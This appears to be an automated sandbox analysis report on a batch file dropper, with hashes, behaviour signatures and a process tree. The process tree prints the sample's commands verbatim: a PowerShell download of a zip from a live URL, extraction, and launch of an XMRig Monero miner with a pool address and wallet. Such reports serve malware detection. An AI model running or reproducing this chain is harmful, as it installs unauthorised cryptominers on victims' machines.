Analysis

  • max time kernel
    1801s
  • max time network
    1813s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231020-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-10-2023 19:43

General

  • Target

    tesy - Copy (5).bat

  • Size

    702B

  • MD5

    65f016a2abe40d2902c7032438a14bd7

  • SHA1

    b3537668ca1bb826e5085aee38b3f7ec654d606e

  • SHA256

    153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8

  • SHA512

    b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (5).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5088
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3328
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1080
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3084
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ.TRI -p x
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:4932

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    49e7d5f2a296b59afec08bc314bed998

    SHA1

    7f898bf195ffd46ce2d19fad0ce33155f6e47f5f

    SHA256

    394832dfefa5e2e6204b60708a2ca33bb9d2f529664419bc050975f4b80faefe

    SHA512

    f64579fdac0bfebad4c20ad575b8ea45136e295fba950da4cbf84402228a3897b2e2deb4eb4605deb5df93321b1dc15c8a878da36016d7e5e060182142fdf839

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    649910a455fa310830031166676aa871

    SHA1

    d50fb96ebceae436beb2197374951805313636a6

    SHA256

    e00fc5e60889308156f8d407efd05d1332b4f41ffebbb2d8955142f45debb237

    SHA512

    7e03eb5a66788935d59934fce563563b0a21e206ecf5b445165829bb97903f9c6d10badbee07e63b0f78cc934432ca863597fa396002f7c3ed36281f98a5607a

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ywt1xshf.mkf.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\test.zip

    Filesize

    3.2MB

    MD5

    3238c0d25d84b6f0bb645bbb29cdbf61

    SHA1

    11ae550c8a82c0793862c366b92072ad7e18befe

    SHA256

    b7a3d27640d4a7403c306a61996d604f28c44c2267eb9d60ed770ad40b3b5dfb

    SHA512

    d5c3e51f36b05ed6b66d501936fc771b712929fa9cdcb3e784d64e018ce4f081cead7a80c48504ced2f7b375bdcc94e147be1fc4e566af45ddaeb60389dee556

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

    Filesize

    170B

    MD5

    78657df2e34e338ff135d3dde69177bf

    SHA1

    d5048a4270b7ba599e941d26d61bfa2e8da31fce

    SHA256

    9004d356a2f71e3abd655983967aa597e81a8133069ee8bcef04f6ed0b36ae98

    SHA512

    f05cd30046793f60d8afd61b0a83f53d0c8e2889a03cbace1b199de181257771d257ab47f29effd1084c196eba9454ccdd97715e6f1062c079f4087685bd7004

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

    Filesize

    7.9MB

    MD5

    4813fa6d610e180b097eae0ce636d2aa

    SHA1

    1e9cd17ea32af1337dd9a664431c809dd8a64d76

    SHA256

    9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

    SHA512

    5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

  • memory/1080-28-0x000001CB6CF20000-0x000001CB6CF30000-memory.dmp

    Filesize

    64KB

  • memory/1080-32-0x000001CB6F450000-0x000001CB6F45A000-memory.dmp

    Filesize

    40KB

  • memory/1080-31-0x000001CB6F460000-0x000001CB6F472000-memory.dmp

    Filesize

    72KB

  • memory/1080-41-0x00007FF8B2220000-0x00007FF8B2CE1000-memory.dmp

    Filesize

    10.8MB

  • memory/1080-30-0x000001CB6CF20000-0x000001CB6CF30000-memory.dmp

    Filesize

    64KB

  • memory/1080-27-0x00007FF8B2220000-0x00007FF8B2CE1000-memory.dmp

    Filesize

    10.8MB

  • memory/3328-9-0x0000017955550000-0x0000017955572000-memory.dmp

    Filesize

    136KB

  • memory/3328-10-0x00007FF8B2220000-0x00007FF8B2CE1000-memory.dmp

    Filesize

    10.8MB

  • memory/3328-12-0x00000179531E0000-0x00000179531F0000-memory.dmp

    Filesize

    64KB

  • memory/3328-11-0x00000179531E0000-0x00000179531F0000-memory.dmp

    Filesize

    64KB

  • memory/3328-16-0x00007FF8B2220000-0x00007FF8B2CE1000-memory.dmp

    Filesize

    10.8MB

  • memory/4932-70-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-80-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-47-0x000001F4E7930000-0x000001F4E7970000-memory.dmp

    Filesize

    256KB

  • memory/4932-48-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-49-0x000001F4E7970000-0x000001F4E7990000-memory.dmp

    Filesize

    128KB

  • memory/4932-50-0x000001F4E7990000-0x000001F4E79B0000-memory.dmp

    Filesize

    128KB

  • memory/4932-51-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-52-0x000001F4E7970000-0x000001F4E7990000-memory.dmp

    Filesize

    128KB

  • memory/4932-53-0x000001F4E7990000-0x000001F4E79B0000-memory.dmp

    Filesize

    128KB

  • memory/4932-54-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-55-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-56-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-57-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-58-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-59-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-60-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-61-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-62-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-63-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-64-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-65-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-66-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-67-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-68-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-69-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-45-0x000001F4E78E0000-0x000001F4E7900000-memory.dmp

    Filesize

    128KB

  • memory/4932-71-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-72-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-73-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-74-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-75-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-76-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-77-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-78-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-79-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-46-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-81-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-82-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-83-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-84-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-85-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-86-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-87-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-88-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-89-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-90-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-91-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-92-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-93-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-94-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-95-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-96-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-97-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-98-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-99-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-100-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-101-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-102-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-103-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-104-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-105-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-106-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-107-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-108-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-109-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-110-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-111-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-112-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB

  • memory/4932-113-0x00007FF748600000-0x00007FF749103000-memory.dmp

    Filesize

    11.0MB